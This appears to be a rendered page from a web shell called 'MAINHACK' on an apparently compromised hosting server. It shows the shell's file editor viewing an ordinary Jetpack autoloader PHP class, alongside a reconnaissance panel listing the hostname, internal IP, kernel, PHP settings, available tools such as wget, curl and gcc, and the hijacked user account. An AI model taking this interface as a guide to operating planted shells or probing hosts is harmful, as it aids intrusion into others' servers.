[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-files-handler.php
File is not writable. Editing disabled.
<?php /** * This file was automatically generated by automattic/jetpack-autoloader. * * @package automattic/jetpack-autoloader */ namespace Automattic\Jetpack\Autoloader\jp5e9090adb7e03a3eeba3759a946171f6; // phpcs:ignore /** * This class selects the package versions for the package files. */ class Files_Handler { /** * The Plugins_Handler object. * * @var Plugins_Handler */ private $plugins_handler = null; /** * The Version_Selector object. * * @var Version_Selector */ private $version_selector = null; /** * The constructor. * * @param Plugins_Handler $plugins_handler The Plugins_Handler object. * @param Version_Selector $version_selector The Version_Selector object. */ public function __construct( $plugins_handler, $version_selector ) { $this->plugins_handler = $plugins_handler; $this->version_selector = $version_selector; } /** * Adds the version of a package file to the $jetpack_packages_filemap global * array so that we can load the most recent version. * * @param string $file_identifier Unique id to file assigned by composer based on package name and filename. * @param string $version Version of the file. * @param string $path Absolute path to the file so that we can load it. */ public function enqueue_package_file( $file_identifier, $version, $path ) { global $jetpack_packages_filemap; if ( isset( $jetpack_packages_filemap[ $file_identifier ]['version'] ) ) { $selected_version = $jetpack_packages_filemap[ $file_identifier ]['version']; } else { $selected_version = null; } if ( $this->version_selector->is_version_update_required( $selected_version, $version ) ) { $jetpack_packages_filemap[ $file_identifier ] = array( 'version' => $version, 'path' => $path, ); } } /** * Creates a path to the plugin's filemap. The filemap filename is the filename * generated by Jetpack Autoloader version >= 2.0. * * @param String $plugin_path The plugin path. * * @return String The filemap path */ public function create_filemap_path( $plugin_path ) { return trailingslashit( $plugin_path ) . 'vendor/composer/jetpack_autoload_filemap.php'; } /** * Initializes the filemap. */ public function set_file_paths() { $active_plugin_paths = $this->plugins_handler->get_all_active_plugins_paths(); $filemap_paths = array_map( array( $this, 'create_filemap_path' ), $active_plugin_paths ); foreach ( $filemap_paths as $path ) { if ( is_readable( $path ) ) { $file_map = require $path; if ( is_array( $file_map ) ) { foreach ( $file_map as $file_identifier => $file_data ) { $this->enqueue_package_file( $file_identifier, $file_data['version'], $file_data['path'] ); } } } } } /** * Include latest version of all enqueued files. */ public function file_loader() { global $jetpack_packages_filemap; foreach ( $jetpack_packages_filemap as $file_identifier => $file_data ) { if ( empty( $GLOBALS['__composer_autoload_files'][ $file_identifier ] ) ) { require_once $file_data['path']; $GLOBALS['__composer_autoload_files'][ $file_identifier ] = true; } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.05 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A